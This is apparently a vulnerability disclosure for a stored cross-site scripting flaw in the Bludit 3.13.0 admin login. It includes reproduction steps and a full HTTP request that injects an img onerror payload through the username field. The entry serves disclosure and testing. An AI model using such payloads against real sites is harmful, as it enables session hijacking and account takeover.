# Exploit Title: Bludit 3.13.0 - Cross Site Scripting (XSS)
#Exploit Author: Gökhan ŞENŞÜKÜR
# Date: 29/02/2024
# Vendor Homepage: https://www.bludit.com
# Software Link: https://www.bludit.com/releases/bludit-3-13-0.zip
# Version: bludit-3-13-0
# Tested on: Windows
TECHNICAL DETAILS & POC
========================================
### Steps to reproduce
1. Open page http://localhost:test/admin/;
2. Enter username as ` admin"><img src=x onerror=alert(1)> `
3. U can see pop up
### HTTP Request ###
POST /test/admin/ HTTP/1.1
Host: localhost
Content-Length: 139
Cache-Control: max-age=0
sec-ch-ua: "Not_A Brand";v="8", "Chromium";v="120"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.199 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/admin/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: BLUDIT-KEY=9951a5o12g66e4c9aill39ul4p
Connection: close
tokenCSRF=d39d816df2972798da8c5be0b0b944cfc5163938&username=%60%60admin%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E%60%60&password=&save=